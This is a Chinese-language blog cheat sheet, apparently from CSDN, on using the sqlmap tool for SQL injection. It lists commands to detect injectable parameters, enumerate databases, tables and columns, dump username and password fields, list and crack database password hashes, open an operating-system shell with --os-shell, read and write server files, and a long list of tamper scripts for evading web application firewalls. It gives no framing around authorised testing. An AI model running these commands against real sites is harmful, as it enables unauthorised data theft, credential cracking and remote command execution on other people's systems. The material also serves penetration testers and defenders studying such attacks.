sqlmap 用法

1、 判断是否存在注入

sqlmap -u url?id=1
当注入点后面参数大于等于两个时需要加双引号

sqlmap -u "url?id&uid=2"

 

2、判断文本是否存在注入

使用抓包生成web数据包require.txt

sqlmap -r require.txt

 

3、基本注入命令

sqlmap -u url?id=1 --dbs

查询当前用户下所有数据库

sqlmap -u url?id=1 -D exp  --tables

获取数据库中的表名

sqlmap -u url?id=1 -D exp  -T exptable --columns

获取字段名

sqlmap -u url?id=1 -D exp  -T exptable -C  username,passwd --dump

获取字段内容

sqlmap -u url?id=1 --users

获取所有用户

sqlmap -u url?id=1 -passwords

列出数据库用户的密码,如果包含用户密码权限,sqlmap会列举出用户,然后列出hash,并尝试破解

sqlmap -u url?id=1 --current-db

获取当前网站数据库名称

sqlmap -u url?id=1 --current-user

获取当前数据库用户名称

 

4、sqlmap参数

--level 5

指需要执行的测试等级,可以补选,默认为1,一共5个等级,自然5级的payload最多,解析最慢,

--is-dba

查看当前账户是否为数据管理员账户

--roles

列出数据库管理员角色

--referer

当--level参数设置为3或3以上时会尝试对referer注入

--sql-shell

用于执行sql语句

--os-cmd.--os-shell

运行任意操作系统命令(如果数据库为Mysql,postgreSQL,sqlmap上传一个二进制库包含sys_exec()和sys_eval(),那么创建的两个函数就可以执行系统命令)
--os-shell模拟一个真是的shell

--file-read

读取执行文件
exp:sqlmap -u url?id=1 \ --file-read path -v 1

--file-write --file-dest

写入本地文件到服务器中
exp:sqlmap -u url?id=1 --file-write\ path --file-dest path -v 1

 

5、sqlmap绕过脚本tamper(绕过WAF等)

sqlmap XXXX --tamper "模块名"

常用tamper脚本

apostrphemask.py

将引号替换为UTF-8

base64encode.py

替换为base64编码

multiplespaces.py

围绕SQL关键字添加多个空格

space2plus.py

用+号替换空格

nonrecursivereplacement.py

用双重语句替代预定义的SQL关键字(适用于非常弱的自定义过滤器)

space2randomblank.py

将空格替换为其他有效字符

unionalltounion.py

将UNION ALL SELECT 替换为UNION SELECT

securesphere.py

追加特制的字符串

space2hash.py

将空格替换为#号,并添加一个随机字符串和换行符

space2mssqlblank.py(mssql)

将空格替换为其他空符号

space2mssqlhash.py

将空格替换为#号,并添加一个换行符

between.py

用NOT BETWEEN 0 AND 替换大于号,用BETWEEN AND 替换等号

percentage.py

ASP允许在每个字符前面添加一个%号

sp_password.py

从DBMS日志的自动模糊处理的有效载荷中追加sp_password

charencode.py

对给定的Payload全部字符使用RL编码(不处理已经编码的字符)

randomcase.py

随机大小写

charunicodeencode.py

字符串unicode编码

space2comment.py

将空格替换为/**/

equaltolike.py

将等号替换为like

greatest.py

绕过对">"的过滤,用GREATEST替换大于号

modsecurityversioned.py

过滤空格,使用MySQL内联注释方式进行注入

space2mysqlblank.py

将空格替换为其他空白符号

modsecurityzeroversioned.py

使用MySQL内联注释的方式(/*!00000*/)进行注入

space2mysqldash.py

将空格替换为--,并添加一个换行符

bluecoat.py

在SQL语句后用有效的随机空白符替换空格符,随后用LIKE替换等于号

versionedkeywords.py

注释绕过

halfversionedmorekeywords.py

当数据库为MySQL时绕过防火墙,在每个关键字之前添加Mysql 版本注释

space2morehash.py

将空格替换为#,并添加一个随机字符串和换行符

apostrophenullencode.py

用非法双字节unicode.py字符替换单引号

appendnullbyte.py

在有效符合的结束位置加载零字节字符编码

chardobleencode.py

对给定的payload全部使用双重URL编码

unmagicquotes.py

用一个多字节组合(%bf%27)和末尾通用注释一起替换空格

randomcomments.py

用/**/分割SQL关键字

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值